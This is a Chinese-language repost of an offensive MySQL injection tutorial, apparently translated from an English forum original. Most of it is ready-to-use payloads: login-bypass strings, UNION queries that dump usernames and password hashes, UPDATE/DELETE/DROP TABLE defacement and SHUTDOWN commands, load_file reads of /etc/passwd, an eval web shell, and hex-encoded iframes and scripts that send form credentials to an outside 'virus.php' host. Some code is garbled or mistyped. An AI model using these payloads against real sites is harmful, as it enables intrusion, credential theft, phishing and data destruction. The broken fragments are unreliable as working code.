作者:Passerby2

出處:https://bbs.ichunqiu.com/thread-44483-1-1.html?from=bkyl

原文来自:史上最完整的MySQL注入

免责声明:本教程仅用于教育目的,以保护您自己的SQL注释代码。 在阅读本教程后,您必须对任何行动承担全部责任

0x00 ~ 背景

这篇文章题目为“为新手完成MySQL注入”,它旨在提供专门针对MySQL数据库的SQL注入的完整知识和工作方式,除了堆栈查询部分。 这里的第一个贡献……

  • 什么是数据库?
  • 什么是SQL注入?
  • 绕过登录
  • 访问秘密数据
  • 检查漏洞
  • 找到列数
  • 解决脆弱的部分
  • 寻找MySQL版本
  • MySQL 5或以上版本的注入
  • MySQL 4注入
  • 修改网站内容
  • 关闭MySQL服务器
  • Loadfile
  • MySQL Root
  • 主要的MySQL命令
  • 完成注射教程
  • 更新
  • 绕过登录高级
  • RF注入SQL注入
  • URL欺骗网络钓鱼
  • Cookie
  • 结束

0x01 ~ 介绍

大家好,对于那些不了解我的人我是他们的噩梦=)..在本教程中,我将以新手视角展示MySQL中臭名昭着的注入,以便所有新手都能成为成功的SQL注入器。 目的,一定要检查PHP和MySQL中的各种函数和各种各样的网站,它们会对你有很大的帮助…也不要苛刻我是否有任何语法错误的教程因为英语不是我的母语(我是 来自土星环)。 现在让我们开始SQL注入的演练。

0x02 ~ 什么是数据库

这只是只是一般的信息..数据库是存储数据集合的应用程序。 数据库提供各种API,用于创建,访问和管理它所拥有的数据。 并且数据库(DB)服务器可以与我们的Web开发集成,以便我们可以从数据库中获取我们想要的东西而没有太多困难。 DB可能包含各种关键信息,如用户名,密码,信用等。 因此,需要保护数据库,但运行的许多数据库服务器由于其漏洞或编程处理不当而不安全。 仅举几例DB服务器,MySQL(开源),MSSQL,MS-ACCESS,Oracle,Postgre SQL(开源),SQLite等。

0x03 ~ 什么是Sql注入?

SQL注入可能是目前互联网上存在的最丰富的编程缺陷。 这是未经授权的人可以访问各种关键和私人数据的漏洞。 SQL注入不是Web或数据库服务器中的缺陷,而是由于编程实践较差且缺乏经验而导致的。 它是从远程位置执行的最致命和最容易的攻击之一。

#0x04 ~ 绕过登录

假设一个站点有一个登录表单,只允许注册用户进入该站点。 现在,假设你想绕过登录并以合法用户身份进入网站。 如果程序员没有正确清理登录脚本,您可能很幸运能够进入该站点。 通过与DB服务器交互,你可能无需知道真实用户名和真实密码即可登录该站点。 那么,这不就是SQL注入的美感吗?

username:a or 1=1--
password:blank
<?php
SELECT USER from database WHERE username='a' or 1=1-- AND password=''
<?php
SELECT USER from database WHERE username='a' or 1=1
username:' or 1='1        password:' or 1='1
username:' or '1'='1'    password:' or '1'='1'
username:or 1=1        password:or 1=1
<?php
select username,pass from users where username=('$username') and password=('$passwrd') limit 0,1;
') or true--
') or ('')=('
') or 1--
') or ('x')=('
<?php
select username,pass from users where username="$username" and password="$passwrd" limit 0,1;
" or true--
" or ""="
" or 1--
" or "x"="
<?php
select username,pass from users where username=("$username") and password=("$passwrd") limit 0,1;
") or true--
") or ("")=("
") or 1--
") or ("x")=("
<?php
select username,pass from users where username=(('$username')) and password=(('$passwrd')) limit 0,1;
')) or true--
')) or ((''))=(('
')) or 1--
')) or (('x'))=(('
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x

0x05 ~ 获得秘密的数据

SQL注入本质上不是为了绕过登录,而是用于访问数据库服务器中的敏感和秘密数据。 这部分很长,所以我将在小节中讨论。

#0x05.a~检查漏洞

假设你有一个网站:

<?php
site.com/article.php?id=5
<?php
site.com/article.php?id=5'
<?php
site.com/article.php?id=5+union+select+1--

#0x05.b~查找列数

所以,现在是时候找到列数了。 为此,我们将使用’order by’直到我们收到错误。

<?php
site.com/article.php?id=5+order+by+1/*
<?php
site.com/article.php?id=5+order+by+2/*
<?php
site.com/article.php?id=5+order+by+3/*

#0x05.c~解决弱势部分

现在,我们需要使用union语句并找到我们可以替换的列,以便在页面上查看秘密数据。

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+null/*
<?php
site.com/article.php?id=5+UNION+ALL+SELECT+null,null/*
<?php
site.com/article.php?id=5+UNION+ALL+SELECT+1,2/*
<?php
site.com/article.php?id=5+UNION+ALL+SELECT+xenu,null/*
<?php
site.com/article.php?id=5+UNION+ALL+SELECT+null,xenu/*

#0x05.d~查找MySQL版本

对于我们的注入,有必要找到MySQL版本,因为如果它是5,我们的工作变得容易多了。 要检查版本,有一个函数@@ version或version()。

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+@@version,2/*
<?php
site.com/article.php?id=5+UNION+ALL+SELECT+version(),2/*
<?php
site.com/article.php?id=UNION+ALL+SELECT+unhex(hex(@@version)),2/*
<?php
site.com/article.php?id=5+UNION+ALL+SELECT+user(),2/*
site.com/article.php?id=5+UNION+ALL+SELECT+database(),2/*

#0x05.e~MySQL 5或以上注入

在这里,我将向您展示如何访问运行MySQL 5或更高版本的服务器中的数据。

table_name from information_schema.tables
column_name from information_schema.columns
<?php
site.com/article.php?id=5+UNION+ALL+SELECT+table_name,2+FROM+information_schema.tables/*
<?php
site.com/article.php?id=5+UNION+ALL+SELECT+unhex(hex(table_name)),2+FROM+information_schema.tables/*
<?php
site.com/article.php?id=5+UNION+ALL+SELECT+column_name,2+FROM information_schema.columns/*
<?php
site.com/article.php?id=5+UNION+ALL+SELECT+column_name,2+FROM+information_schema.columns+WHERE+table_name='tbluser'
<?php
site.com/article.php?id=5+UNION+ALL+SELECT+concat(username,0x3a,password),2+FROM+tbluser/*
admin:9F14974D57DE204E37C11AEAC3EE4940

#0x05.f~MySQL版本4注入

现在说你的受害者有MySQL版本4.那么你将无法获得MySQL版本5中的表名和列名,因为它缺乏对information_schema.tables和information_schema.columns的支持。

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+1,2+FROM+user/*
<?php
site.com/article.php?id=5+UNION+ALL+SELECT+1,2+FROM+tbluser/*
<?php
site.com/article.php?id=5+UNION+ALL+SELECT+user_name,2+FRO+tbluser/*
<?php
site.com/article.php?id=5+UNION+ALL+SELECT+username,2+FROM+tbluser/*
<?php
site.com/article.php?id=5+UNION+ALL+SELECT+pass,2+FROM tbluser/*
<?php
site.com/article.php?id=5+UNION+ALL+SELECT+password,2+FROM+tbluser/*
<?php
site.com/article.php?id=5+UNION+ALL+SELECT+concat(username,0x3a,password),2+FROM+tbluser/*
admin:9F14974D57DE204E37C11AEAC3EE4940

#0x06~修改网站内容

有时候,你会发现易受攻击的网站,并且需要知道,但是管理员登录可能不存在,或者某些IP范围是可访问的。 即使在该上下文中,您也可以使用一些kewl SQL命令来修改站点内容。 我没有看到很多文章解决这个问题,所以我想把它包含在这里。

<?php
site.com/article.php?id=5
<?php
SELECT title,data,author FROM article WHERE id=5
<?php
site.com/article.php?id=5+UPDATE+article+SET+title='Hacked By Xenu for R00TW0RM C0MMUNITY'/*
<?php
site.com/article.php?id=5+UPDATE+article+SET+title='Hacked By r00tw0rm',data='Ur site has zero security',author='Xenu'/*
<?php
site.com/article.php?id=5+UPDATE+article+SET+title='value 1',data='value 2',author='value 3'+WHERE+id=5/*
<?php
site.com/article.php?id=5+DELETE+title,data,author+FROM+article/*
<?php
site.com/article.php?id=5+DELETE+title,data,author+FROM+article+WHERE+id=5/*
<?php
site.com/article.php?id=5+DROP+TABLE+article/*

#0x07~关闭MySQL服务器

这就像执行服务器一样,因为它会使合法用户或网站访问者无法使用MySQL资源……为此,您将使用:

SHUTDOWN WITH NOWAIT;
<?php
site.com/article.php?id=5+SHUTDOWN+WITH+NOWAIT;

#0x08~Loadfile

MySQL有一个名为load_file的函数,您可以再次使用它来获益。我还没有看到很多网站可以使用这个函数…我认为我们应该拥有MySQL root权限….此外,魔术引号 应该关闭这个…但有一种方法可以超越魔术引号… load_file可用于加载服务器的某些文件,如.htaccess,.htpasswd等..还有/ etc等密码文件 / passwd等。

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+load_file('etc/passwd'),2/*
<?php
site.com/article.php?id=5+UNION+ALL+SELECT+load_file(0x272F6574632F70617373776427)

#0x08~MySQL Root

如果MySQL版本为5或更高版本,我们可能会获得MySQL root权限,这对我们来说也会有所帮助。来自版本5的MySQL服务器有一个名为mysql.user的表,其中包含用于登录的哈希和用户名… 它位于MySQL数据库的用户表中,随MySQL的每次安装一起提供。

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+concat(username,x3a,password),2+from+mysql.user/*

#0x09~主要MySQL命令

下面,我将列出一些可能对您有所帮助的主要MySQL命令…通过在您的计算机中设置MySQL服务器以不同的方式与它们一起玩。

#0x09~完成注射教程

我知道我错过了一些东西,比如outfile,WHERE子句,盲注等…如果我有时间,我会尝试用这些来更新教程..对于所有sql注入器,请大胆思考..& hexing是sql注入中的一个重要部分。有时用普通方法无法完成的事情可以通过使用hex部分完成..并且一定要尝试使用char(),hex()函数。 这些,您可以绕过服务器上的魔术引号。再次,在UNION语句中,您可能会尝试使用有时对您有帮助的XSS。

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+<script>
alert("XSS via SQL injection");
</script>,2/*

#0x10~更新

我借此机会更新此complet文件undefined

#0x10.a~绕过登录高级

我希望你喜欢阅读“Bypassing Logins”一章。 因此,现在是时候了解如何将某个易受攻击的登录表单的数据库转出。

<?php
select username,pass from users where username="$uname" and password="$passwrd" limit 0,1
select username,pass from users where username='$uname' and password='$passwrd' limit 0,1
username : ' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) and ''='
username : " or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) and ""="
username : ' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) --+
username : " or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) --+
username : ' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) #
username : " or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) #
username : ' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) --
username : " (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) --
<?php
select username,pass from users where username='' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) and ''='' and password='' limit 0,1

#0x10.b~SQL注入的RFI

如果您已阅读本文并了解RFI漏洞,则无需解释。 这很容易!

<?php
site.com/?param=1+union+select+'<?eval($_request[cmd]);?>'&cmd=passthru('ls');

#0x10.c~URLS欺骗性网络钓鱼

这次标题说明了我们将使用SQL注入漏洞利用URL欺骗进行网络钓鱼。 有三种方法

  • 注入iFrame
  • 修改当前表格
<?php
<form action=http://site.com/w0rm.php method="POST">
Username : <input type="text" name="username"><br>
Password :<input type="text" name="password">
<input type="submit">
</form>
<iframe height=0 width=0>
3c666f726d20616374696f6e3d687474703a2f2f736974652e636f6d2f7730726d2e706870206d65 74686f643d22504f5354223e0d0a557365726e616d65203a203c696e70757420747970653d227465 787422206e616d653d22757365726e616d65223e3c62723e0d0a50617373776f7264203a3c696e70 757420747970653d227465787422206e616d653d2270617373776f7264223e0d0a3c696e70757420 747970653d227375626d6974223e0d0a3c2f666f726d3e0d0a3c696672616d65206865696768743d 302077696474683d303e
<?php
<br><iframe src="http://site.com/virus.php" height=300 width=300 frameBorder="0" scrolling="no"></iframe>
3c62723e3c696672616d65207372633d22687474703a2f2f736974652e636f6d2f76697275732e70 687022206865696768743d3330302077696474683d333030206672616d65426f726465723d223022 207363726f6c6c696e673d226e6f223e3c2f696672616d653e,4,5--
<?php
site.com/link.php?id=-1'+union+select+1,2,0x3c62723e3c696672616d65207372633d22687474703a2f2f736974652e6 36f6d2f76697275732e70687022206865696768743d3330302077696474683d333030206672616d6 5426f726465723d223022207363726f6c6c696e673d226e6f223e3c2f696672616d653e,4,5--
<?php
<script>document.getElementsByTagName("form")[0].action="http://www.site.com/virus.php"</script>
3c7363726970743e646f63756d656e742e676574456c656d656e747342795461674e616d65282266 6f726d22295b305d2e616374696f6e3d22687474703a2f2f7777772e736974652e636f6d2f766972 75732e706870223c2f7363726970743e
<?php
site.com/link.php?id=-1' union select 1,2,0x3c7363726970743e646f63756d656e742e676574456c656d656e747342795461674e6 16d652822666f726d22295b305d2e616374696f6e3d22687474703a2f2f7777772e736974652e636 f6d2f76697275732e706870223c2f7363726970743e,4,5--

#0x10.c~标题

HTTP查询字符串参数(GET):URL中发送的输入参数。

<?php     
$req = mysql_query("SELECT user,password FROM admins WHERE user='".sanitize($_POST['user'])."' AND password='".md5($_POST['password'])."' AND ip_adr='".ip_adr()."'");
<?php
1function sanitize($param){ if (is_numeric($param)) { return $param; } else { return mysql_real_escape_string($param); } }
<?php
function ip_adr() { if
(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_adr = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip_adr = $_SERVER["REMOTE_ADDR"]; } if (preg_match("#^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}#",$ip_addr)) { return $ip_adr; } else { return $_SERVER["REMOTE_ADDR"]; } }
GET /index.php HTTP/1.1
Host: [host]
X_FORWARDED_FOR :127.0.0.1' or 1=1#
[/php]
will lead to bypass the authentication control.User agent is an HTTP header field gives the software program used by the original client. This is for statistical purposes and the tracing of protocol violations. It should be included. The first white space delimited word must be the software product name, with an optional slash and version designator.Not all applications are written to capture the user-agent data, but sometimes applications are designed to store such information (ex: shopping cart providers) to make use of it. In this case, it’s worth investigating the user-agent header for possible issues.HTTP query example:
[code]
GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa' or 1/*
GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa' or 1/*
Referer: http://www.yaboukir.com

#0x10.d~Cookie

Cookie Manager +(Firefox Addon)允许查看,编辑和创建新的Cookie。它还允许显示有关cookie的额外信息,并允许一次编辑多个cookie,以及备份/恢复它们。